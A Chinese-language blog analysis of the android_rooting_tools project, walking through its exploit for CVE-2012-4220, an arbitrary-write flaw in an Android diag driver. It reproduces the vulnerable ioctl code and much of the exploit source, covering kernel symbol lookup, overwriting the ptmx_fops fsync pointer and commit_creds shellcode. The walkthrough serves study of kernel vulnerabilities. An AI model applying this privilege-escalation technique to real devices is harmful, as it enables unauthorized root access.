android_rooting_tools是GITHUB上的一个Android内核漏洞提权项目,包含多套内核漏洞的exploit代码:

EXPLOIT CVE 简单描述
libdiagexploit CVE-2012-4220 任意地址写有限任意值
libfb_mem_exploit CVE-2013-2596 整数溢出导致remap_pfn_range校验绕过
libfj_hdcp_exploit 未知
libfutex_exploit CVE-2014-3153 UAF, TowelRoot
libget_user_exploit CVE-2013-6282 get_user边界未校验致任意地址写
libmsm_acdb_exploit CVE-2013-2597 栈溢出
libmsm_cameraconfig_exploit CVE-2013-2595
libperf_event_exploit CVE-2013-2094
libpingpong_exploit CVE-2015-3636 UAF, Pingpong Root
libput_user_exploit CVE-2013-6282 put_user边界未校验致任意地址写

下面通过 libdiagexploit 这份漏洞利用代码,分析一下项目源码。

libdiagexploit利用的CVE-2012-4220,这是一个驱动设备ioctl接口的任意地址写有限的任意值漏洞。

漏洞代码如下:

  8  long diagchar_ioctl(struct file *filp,9          unsigned int iocmd, unsigned long ioarg)
/* ... */  18   if (iocmd == DIAG_IOCTL_COMMAND_REG) {
/* ... */72   } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {73     struct diagpkt_delay_params *delay_params =74           (struct diagpkt_delay_params *) ioarg;75 76     if ((delay_params->rsp_ptr) &&77      (delay_params->size == sizeof(delayed_rsp_id)) &&78          (delay_params->num_bytes_ptr)) {79       *((uint16_t *)delay_params->rsp_ptr) =80         DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);81       *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);82       success = 0;83     }84   } else if (iocmd == DIAG_IOCTL_DCI_REG) {/* ... */

在处理DIAG_IOCTL_GET_DELAYED_RSP_ID命令时,ioarg由用户态的ioctl调用传入,其值完全受用户控制,上述漏洞代码在进行delay_params->rsp_ptr和delay_params->num_bytes_ptr赋值时,未校验其地址合法性:

*((uint16_t *)delay_params->rsp_ptr) =DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         \
((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)

DIAGPKT_NEXT_DELAYED_RSP_ID宏使用全局变量delayed_rsp_id值每次加1,其范围被限制在2-0xFFFF之间,因此通过多次调用此接口,可以达成任意地址写有限的任意值。

下面分析android_rooting_tools如何利用这个漏洞提权。

android_rooting_tools的入口函数在main.c:

int
main(int argc, char **argv)
{
/* ... */device_detected();if (!setup_variables()) {printf("Failed to setup variables.\n");exit(EXIT_FAILURE);}run_exploit();if (getuid() != 0) {printf("Failed to obtain root privilege.\n");exit(EXIT_FAILURE);}
/* ... */
}

首先通过device_detected()函数获得设备信息,android_rooting_tools通过sqlite数据库存放了一些已知设备的符号地址等硬编码信息,如果匹配到的话,就不需要计算直接赋值。

这是比较有用的,比如某些设备打开了kptr_strict,读取不到符号地址,通过查询数据库也可以达到相同目的。

setup_variables()来进行几个全局变量初始化工作,包括:

  1. prepare_kernel_cred() 函数地址
  2. commit_creds() 函数地址
  3. ptmx_fops 结构地址

为了尽可能保证取到这3个符号地址,android-rooting-tools使用了3种方式

  1. 读取数据库(device_get_symbol_address函数)
  2. 通过/proc/kallsyms读取(kallsyms_get_symbol_address函数)
  3. 通过内存暴力搜索(run_with_mmap或run_with_memcpy函数)

根据初始化信息,可以看出android-rooting-tools使用的是一个非常常用的提权套路:

  1. 提权的shellcode在用户地址空间,主要代码是 commit_creds(prepare_kernel_cred(0));
  2. 在ptmx_fops结构中,通过+0x38偏移,找到fsync()函数地址
  3. 通过任意直址写漏洞,将fsync()地址替换成shellcode 地址
  4. 用户态调用fsync(fd),触发shellcode执行,完成提权

继续看,run_exploit()是完成提权的主要代码。然后通过getuid()判断提权是否成功。

static bool
run_exploit(void)
{
/* ... */return attempt_exploit(ptmx_fops_fsync_address,(unsigned long int)&obtain_root_privilege, 0,run_obtain_root_privilege, NULL);
}

run_exploit主要调用了attempt_exploit函数,其中ptmx_fops_fsync_address是fsync符号地址,可以看到它是从ptmx_fops+0x38处取的:

ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;

参数obtain_root_privilege传入的是shellcode的函数指针,run_obtain_root_privilege是一个回调函数,用于在准备条件完成后,进行提权操作:

static bool
run_obtain_root_privilege(void *user_data)
{
/* ... */obtain_root_privilege_func = obtain_root_privilege_by_commit_creds;fd = open(PTMX_DEVICE, O_WRONLY);ret = fsync(fd);if (getuid() != 0) {printf("commit_creds(): failed. Try to hack task->cred.\n");obtain_root_privilege_func = obtain_root_privilege_by_modify_task_cred;ret = fsync(fd);}
/* ... */
}

可以看到,代码首先使用commit_creds进行提权,当提权失败时,使用了另一种直接修改task_cred结构的方式提权,这里先暂不介绍。

attempt_exploit中使用了多种漏洞利用代码进行提权,这些漏洞类型包含在上面介绍的列表中:

bool
attempt_exploit(unsigned long int address, //fsync地址unsigned long int write_value,  //shellcode地址unsigned long int restore_value,exploit_callback_t callback_func,void *callback_param)
{callback_info_t info;
/* 设置回调函数及参数 */info.func = callback_func;info.param = callback_param;info.result = false;// Attempt exploits in most stable order
/* 提权操作 */printf("Attempt acdb exploit...\n");
/* ... */if (attempt_diag_exploit(address, write_value, &info)) {return info.result;}
}

代码只保留attempt_diag_exploit,也就是针对CVE-2012-4220的漏洞利用,其中info中包含的是漏洞利用是否成功的状态,和回调函数地址。

static bool
attempt_diag_exploit(unsigned long int address, //fsync地址unsigned long int write_value, //shellcode地址callback_info_t *info)
{struct diag_values injection_data;if (write_value > (uint16_t)-1) {return false;}injection_data.address = address;injection_data.value = (uint16_t)write_value;return diag_run_exploit(&injection_data, 1, &run_callback, info);
}

diag_run_exploit在libdiagexploit目录下的diag.c文件实现:

bool
diag_run_exploit(struct diag_values *data, int data_length,bool(*exploit_callback)(void* user_data), void *user_data)
{fd = open("/dev/diag", O_RDWR);success = diag_inject_with_fd(data, data_length, fd);if (success) {success = exploit_callback(user_data);restore_values(data, data_length, fd);}
/* ... */
}

主要有3个功能
1. diag_inject_with_fd()修改fsync地址为shellcode地址
2. 用户态调用fsync()触发提权
3. 调用restore_values()恢复fsync原始值

因此,核心代码在diag_inject_with_fd中:

bool
diag_inject_with_fd(struct diag_values *data, int data_length, int fd)
{
/* ... */
//data_length = 1for (i = 0; i < data_length; i++) {if (!inject_value(&data[i], fd, delayed_rsp_id_address)) {return false;}}
/* ... */
}

diag_inject_with_fd()函数中,先获取delay_rsp_id变量的地址,并调用inject_value()进行实际的任意地址修改,这里注意for循环中,传入的data_length为1:

static bool
inject_value(struct diag_values *data,int fd, void *delayed_rsp_id_address)
{
/* 获取当前delayed_rsp_id值,用于还原 */ret = get_current_delayed_rsp_id(fd);
/* ... */data->original_value = delayed_rsp_id_value;
/* 如果要写入的大于delayed_rsp_id,则重置为2(2-0xFFFF)因为DIAGPKT_NEXT_DELAYED_RSP_ID宏会递增这个值,注意我们只能控制16位即2字节的数据,如果需要写一个32位地址需写2次*/if (delayed_rsp_id_value > data->value &&reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {return false;}
/* 每次调用使delayed_rsp_id值加1,这里计算需要调用的次数 */loop_count = (data->value - delayed_rsp_id_value) & 0xffff;for (i = 0; i < loop_count; i++) {int unused;if (send_delay_params(fd, (void *)data->address, &unused) < 0) {return false;}}return true;
}

最终for循环的最后一次调用 send_delay_params(fd, (void *)data->address, &unused) 会将 data->address 赋值为 delayed_rsp_id 的值,也就是有限范围内(2-0xFFFF)我们指定的一个任意值。

由上面传递参数可以知道,data->address即fsync地址,最终的delayed_rsp_id是data->value值,也即shellcode地址。

delayed_rsp_id的值通过DIAG_IOCTL_GET_DELAYED_RSP_ID命令获取,其它reset等操作类似:

  struct diagpkt_delay_params params;params.rsp_ptr = target_address;params.size = 2;params.num_bytes_ptr = stored_for_written_bytes;ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &params);

到目前为止,我们已经将内核fsync函数地址改为了用户态shellcode的地址,只要在用户态调用fsync()函数,系统将会通过中断调用到内核态fsync函数,执行shellcode实现提权。

转载于:https://www.cnblogs.com/gm-201705/p/9864002.html

android_rooting_tools 项目介绍(CVE-2012-4220)相关推荐

  1. windows下nodejs express安装及入门网站,视频资料,开源项目介绍

    windows下nodejs express安装及入门网站,视频资料,开源项目介绍,pm2,supervisor,npm,Pomelo,Grunt安装使用注意事项等总结 第一步:下载安装文件 下载地址 ...

  2. 广告点击率预测-项目介绍

    项目介绍 项目介绍 KDD CUP 2012 Track2 1.给定查询和用户信息后预测广告点击率 搜索广告是近年来互联网的主流营收来源之一.在搜索广告背后,一个关键技术就是点击率预测-–pCTR(p ...

  3. 商城项目介绍以及ES6的新语法

    0.学习目标 了解电商行业 了解乐优商城项目结构 能独立搭建项目基本框架 能参考使用ES6的新语法 1.了解电商行业 学习电商项目,自然要先了解这个行业,所以我们首先来聊聊电商行业 1.1.项目分类 ...

  4. 优秀的 Verilog/FPGA开源项目介绍(二十八)- DSP(Digital Signal Processing)

    优秀的 Verilog/FPGA开源项目介绍(二十八)- DSP(Digital Signal Processing) 介绍 FPGA在数字信号处理领域一直有着比通用CPU得天独厚的优势,所以一直都受 ...

  5. 欢迎来到美多商城!-项目准备之项目介绍-项目需求分析-项目架构设计

    欢迎来到美多商城! [前后端不分离的项目] 项目介绍 项目需求分析 需求分析原因: 可以整体的了解项目的业务流程和主要的业务需求. 项目中,需求驱动开发.即开发人员需要以需求为目标来实现业务逻辑. 需 ...

  6. 新东方php工程,这几个游学项目介绍,了解一下

    活着,除了改变世界,还有什么更重要的事情?也许你就差一个契机.这里有几个游学项目介绍,了解了,也许就是你改变世界的开始.不是玩笑话,科学家一直强调人的智慧还没有得到完全开发,所以一些陌生环境的刺激加上 ...

  7. 几种P2P流媒体开源项目介绍

    P2P流媒体开源项目介绍 1. PeerCast 2002年成立,最早的开源P2P流媒体项目.PeerCast把节点按树结构组织起来, 每个频道都是一个树, 直播源是根节点,父节点只给子节点提供数据. ...

  8. 揭开webRTC媒体服务器的神秘面纱——WebRTC媒体服务器开源项目介绍

    揭开webRTC媒体服务器的神秘面纱--WebRTC媒体服务器&开源项目介绍 WebRTC生态系统是非常庞大的.当我第一次尝试理解WebRTC时,网络资源之多让人难以置信.本文针对webRTC ...

  9. Hadoop学习笔记—20.网站日志分析项目案例(一)项目介绍

    Hadoop学习笔记-20.网站日志分析项目案例(一)项目介绍 网站日志分析项目案例(一)项目介绍:当前页面 网站日志分析项目案例(二)数据清洗:http://www.cnblogs.com/edis ...

最新文章

  1. 【强哥推荐】VSCode常用快捷键配置文件表,记得收藏
  2. PC远程控制 NetSupport Manager
  3. 智能假手与机器人融合可以灵活抓取物品
  4. 绝对养眼 Tech·Ed 2008大会SHOW GIRL动感热舞
  5. fastjson反序列化多层嵌套泛型类与java中的Type类型
  6. 在featureDataset和workspace下創建featureclass
  7. C++ 学习笔记之——输入和输出
  8. stm32 usb 虚拟串口 相同_为什么说你要学习USB?(一)
  9. 【POJ - 1028】 Web Navigation( 栈 or 模拟队列 )
  10. datagrid sortname如何定义多列_如何实现一个小说分页的功能
  11. 凭什么说“Python 太慢,Java 太笨拙,我讨厌 JavaScript”?
  12. java无法定位程序点_无法定位程序输入点是什么意思
  13. 【文档+视频】Verdi基础教程
  14. 【H5即时通讯系统PHP源码】支持嵌入+单聊+群聊+可单独封装APP
  15. 统一批量修改word页眉页脚
  16. Centerface + Facenet实现视频人脸识别(附代码)
  17. Nginx 单IP绑定多域名配置 顶级域名重定向到www域名
  18. JavaWeb核心技术——RequestResponse用户登录注册案例
  19. 时间序列常见模型介绍与实战(SPSS)
  20. 《微型计算机原理与接口技术》期末总复习 —— 一篇匆匆忙忙的复习笔记

热门文章

  1. docker 容器启动成功 外部访问不到原因
  2. 端午特供——小朋友都会写的【狂扁·大粽子】
  3. Linux网卡丢包分类整理(1)——网卡篇
  4. LM2596 负载增大,电压降低的问题
  5. AirDisk存宝 【S3\S6简易使用说明】
  6. 两个网段共享打印机_不同ip段共享打印机设置方法
  7. 关于sqlserver远程连接创建后报错小结
  8. ThinkPHP中文水印和图片水印结合
  9. 必须学会的几个网络测试命令
  10. 只会用ping测试网络通不通?高级网工还会这么用